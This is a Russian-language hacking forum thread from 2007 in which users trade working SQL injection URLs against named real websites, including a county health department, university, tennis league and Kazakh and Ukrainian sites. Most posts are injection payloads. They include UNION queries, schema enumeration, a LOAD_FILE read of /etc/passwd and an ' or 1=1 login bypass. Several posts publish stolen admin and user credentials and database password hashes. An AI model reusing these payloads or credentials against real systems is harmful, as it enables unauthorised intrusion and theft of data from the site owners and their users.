SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Хм.. Наверно там больше нет =\ Даже файлы прочитать не смог..
     
    2 people like this.
  2. злюка

    злюка Elder - Старейшина

    Joined:
    11 Nov 2005
    Messages:
    337
    Likes Received:
    132
    Reputations:
    69
    Code:
    http://www.sportsguns.co.uk/addpage.php?page_id=-1+union+select+1,2,3,4,5/*
    эх найти бы таблицу юзеров
     
    #2602 злюка, 1 Jul 2007
    Last edited: 1 Jul 2007
    3 people like this.
  3. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    http://english.stanford.edu/ - PR 7

     
    #2603 Ky3bMu4, 1 Jul 2007
    Last edited: 1 Jul 2007
    2 people like this.
  4. Серенький

    Joined:
    13 Apr 2007
    Messages:
    113
    Likes Received:
    145
    Reputations:
    83
    sql

    2злюка
    tbl_user
    95167 записей
    admin:highstreet4013

    админка
    -----------------------------------------------------------------

    NOmeR1
    вот-с
    ROBERT JONASSON:BMF_RIPPER@HOTMAIL.COM:4TWCPP
    можно залогиниться тут - http://www.arcteryx.nu/butiken/login.php - но хз что с этим делать, я по голандски не умею, надо Хиддинка спросить)

    ------------------------------------------------------------------------

    iv.
    можно нормально вывести здесь
    есть табличка members
    Borisov:3788:s_nahim@inbox.ru
    еще примечательно, что можно авторизироваться просто введя ' or 1=1/* вместо логина плюс произвольный пароль :)

    -----------------------------------------------------------------------
    [PS] что-то везде пароли хранятся в открытом виде :)
     
    #2604 Серенький, 1 Jul 2007
    Last edited: 1 Jul 2007
    4 people like this.
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,390
    Likes Received:
    1,209
    Reputations:
    475
    =\
     
    2 people like this.
  6. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    http://www.worldteamtennis.com/
    Офф сайт WTT(только чёт PR 4)

    Code:
    http://www.worldteamtennis.com/news/news_info.asp?news_id=-251+union+select+1,2,3,password,username,6,7,8,9+from+users
    Одновременно username и password выводить не хочет. Надо по отдельности.

    User: admin
    Password: 2$$7#newsx
    Админку не нашёл...


    Вот ещё сайтец с доступом в user , то только выводить ничё не хочет...

    Code:
    http://www.yourmajesty.net/News_selec.asp?News_ID=-116+union+select+1,2,3,4,5,6,7,8+from+user
     
    1 person likes this.
  7. Серенький

    Joined:
    13 Apr 2007
    Messages:
    113
    Likes Received:
    145
    Reputations:
    83
    никак не смог подобрать колонку с пассом..\
    а табличка мемберс:

     
    #2607 Серенький, 2 Jul 2007
    Last edited: 2 Jul 2007
  8. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Это MSSQL. Это не правильный вывод и там нет User.
     
    1 person likes this.
  9. V1p-eR

    V1p-eR Elder - Старейшина

    Joined:
    2 Jul 2007
    Messages:
    14
    Likes Received:
    15
    Reputations:
    0
    вношу свои =)
    Code:
    http://www.ji-association.org/news.phtml?id=-1+union+select+VERSION(),2,3,4,5,USER(),7,8,9,10+from+users/*
    Code:
    http://www.cosmopolitan.kz/content.php?idpart=3&idnum=-1+union+select+1,2,3,VERSION(),USER(),6,7,8/*
    Code:
    http://slt-tosol.ru/catalog.php?id=-1+union+select+1,VERSION(),USER(),4,5,6,7,8/*
     
    1 person likes this.
  10. Extremal

    Extremal Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    66
    Likes Received:
    85
    Reputations:
    10
    Ещё 1:)
    Code:
    http://www.clarkhealthdept.org/news.phtml?id=-1+union+select+1,2,password,user,5+from+mysql.user/*
    
    как мне и посоветовал iv буду развивть скули
    Code:
    http://www.clarkhealthdept.org/news.phtml?id=-1+union+select+1,2,LOAD_FILE('/etc/passwd'),user,5+from+mysql.user/*
    
    1ая мой sql которую более мение получилось создать :D
     
    #2610 Extremal, 2 Jul 2007
    Last edited: 2 Jul 2007
    2 people like this.
  11. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    Code:
    http://www.clarkhealthdept.org/news.phtml?id=-1+union+select+1,2,VERSION(),concat(password,char(58),user),5+from+mysql%20.user/*
     
    #2611 kair, 2 Jul 2007
    Last edited: 2 Jul 2007
    1 person likes this.
  12. Extremal

    Extremal Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    66
    Likes Received:
    85
    Reputations:
    10
    Ещё 2 нашел :)
    Code:
    http://megaload.megalan.tv/catalog.php?id=-1+union+select+1,2,3,4,5,6,USER(),version()/*
    Code:
    http://ethology.ru/humor/?id=-1+union+select+1,2,3,user(),DATABASE()/*
    Из за своего малого опыта в скуль инъекциях ни че подобрать не удалось...может у вас чё нить получиться
     
    #2612 Extremal, 2 Jul 2007
    Last edited: 2 Jul 2007
  13. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    Code:
    http://www.paintball.ru/next.php?id=430%20union%20select%201,2,COLUMN_NAME%20FROM+INFORMATION_SCHEMA.COLUMNS%20limit%200,1/*
    columns
    Code:
    CHARACTER_SET_NAME DEFAULT_COLLATE_NAME DESCRIPTION MAXLEN ID IS_DEFAULT IS_COMPILED SORTLEN TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME ORDINAL_POSITION COLUMN_DEFAULT IS_NULLABLE DATA_TYPE CHARACTER_MAXIMUM_LENGTH CHARACTER_OCTET_LENGTH NUMERIC_PRECISION NUMERIC_SCALE COLUMN_TYPE COLUMN_KEY EXTRA PRIVILEGES COLUMN_COMMENT GRANTEE PRIVILEGE_TYPE IS_GRANTABLE CONSTRAINT_CATALOG CONSTRAINT_SCHEMA CONSTRAINT_NAME POSITION_IN_UNIQUE_CONSTRAINT REFERENCED_TABLE_SCHEMA REFERENCED_TABLE_NAME  REFERENCED_COLUMN_NAME QUERY_ID SEQ DURATION CPU_USER CPU_SYSTEM CONTEXT_VOLUNTARY CONTEXT_INVOLUNTARY BLOCK_OPS_IN BLOCK_OPS_OUT MESSAGES_SENT MESSAGES_RECEIVED PAGE_FAULTS_MAJOR PAGE_FAULTS_MINOR SWAPS SOURCE_FUNCTION SOURCE_FILE SOURCE_LINE SPECIFIC_NAME ROUTINE_CATALOG ROUTINE_SCHEMA ROUTINE_NAME ROUTINE_TYPE DTD_IDENTIFIER ROUTINE_BODY ROUTINE_DEFINITION EXTERNAL_NAME EXTERNAL_LANGUAGE PARAMETER_STYLE IS_DETERMINISTIC SQL_DATA_ACCESS SQL_PATH SECURITY_TYPE CREATED LAST_ALTERED SQL_MODE ROUTINE_COMMENT DEFINER CATALOG_NAME SCHEMA_NAME DEFAULT_CHARACTER_SET_NAME DEFAULT_COLLATION_NAME NON_UNIQUE INDEX_SCHEMA INDEX_NAME SEQ_IN_INDEX COLLATION CARDINALITY SUB_PART PACKED NULLABLE INDEX_TYPE COMMENT TABLE_TYPE ENGINE VERSION ROW_FORMAT TABLE_ROWS AVG_ROW_LENGTH DATA_LENGTH MAX_DATA_LENGTH INDEX_LENGTH DATA_FREE AUTO_INCREMENT CREATE_TIME
    TABLE
    Code:
    CHARACTER_SETS COLLATIONS COLLATION_CHARACTER_SET_APPLICABILITY COLUMNS COLUMN_PRIVILEGES KEY_COLUMN_USAGE PROFILING ROUTINES SCHEMATA SCHEMA_PRIVILEGES STATISTICS TABLES TABLE_CONSTRAINTS TABLE_PRIVILEGES TRIGGERS USER_PRIVILEGES VIEWS pb_cat pb_cat_tree pb_city pb_club pb_dealer pb_info pb_journal_obl pb_journal_st pb_kalendar pb_links pb_news pb_news_theme pb_portal pb_reviews pb_team pb_users
    Code:
    http://earthdata.com/newsarticle.php?id=430%20union%20select%201,AES_DECRYPT(AES_ENCRYPT(user,0x78),0x78),AES_DECRYPT(AES_ENCRYPT(password,0x78),0x78),4,5,6%20from%20mysql.user

    Code:
    http://www.phfokc.com/show_press.php?id=430%20union%20select%201,2,version(),4/*
    5versia

    Code:
      http://www.eatmybrains.com/showfeature.php?id=430%20union%20select%201,2,3,name,5,version(),7,8,9,10,11,12,13,14,15,16%20from%20user/*
    Code:
    http://www.georgiasouthern.edu/askgus/viewanswer.php?q=-1+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3b,user(),database(),version()),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14/*
    где можно посмотреть список sql inj, а то могут повторяться
     
    2 people like this.
  14. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    kair
    http://hack-shop.org.ru/sql.php
     
    1 person likes this.
  15. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    root:0a53c31a74397e18
    Так лучше:
    username = "root";
    password = "jd4495jv";
    таблица:
    Code:
    http://www.clarkhealthdept.org/news.phtml?id=-1+union+select+1,2,3,concat(username,0x3a,password),5+from+meg.admin/*
    админка закрыта на уровне htaccess :(
    http://www.clarkhealthdept.org/admin
     
    1 person likes this.
  16. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    Code:
    http://latchmusic.com/1-2-3-music-store/process.php?pname=ShowAlbumProcess-Start&CategoryID=1/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/concat(0x31203C666F6E7420636F6C6F723D7265643E,login,0x3a,passwd,0x3C2F666F6E743E)/**/from/**/user/*
    получаем л+п:

    hacked:hax
     
  17. V1p-eR

    V1p-eR Elder - Старейшина

    Joined:
    2 Jul 2007
    Messages:
    14
    Likes Received:
    15
    Reputations:
    0
    paradigma.kz
    bankinfo.kz
    sports.kz

    Code:
    http://www.paradigma.kz/index.php?part=info&article_type_id=-1+union+select+1,VERSION(),database(),4,5,6,7,8,9,10,11,12,13/*
    Code:
    http://bankinfo.kz/rus/banks/bank.shtml?id_bank=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*
    Code:
    http://sports.kz/news.php?type=small&id=-1+union+select+1,2,VERSION(),4,5,USER(),7,8/*
     
    1 person likes this.
  18. V1p-eR

    V1p-eR Elder - Старейшина

    Joined:
    2 Jul 2007
    Messages:
    14
    Likes Received:
    15
    Reputations:
    0
    http://antiboyansql.narod.ru/sql.txt
     
  19. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,390
    Likes Received:
    1,209
    Reputations:
    475
    Только вот не получается ничего оттуда вывести
     
    1 person likes this.
  20. Y.Dmitriy

    Y.Dmitriy Banned

    Joined:
    14 Mar 2007
    Messages:
    208
    Likes Received:
    85
    Reputations:
    16
    че-то не выводит нихрена хотя таблицу подобрал:)
    http://www.moto.com.ua/forum.php?id=1'+Union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,database(),16,17/*
    тут походу слепая
    http://www.ais.com.ua/news_detail.php?page_id=15'&news_id=816'
    заранее ивеняюсь но в MS SQL не шарю... но помне так это оно еси нет то правьте
    http://www.avto-bazar.com.ua/objava.asp?id=1'

    тута стопудово
    http://www.avtoreklama.com.ua/?show_other&rub=22'+union+select+version(),2/*
     
    #2620 Y.Dmitriy, 3 Jul 2007
    Last edited: 3 Jul 2007
Loading...
Thread Status:
Not open for further replies.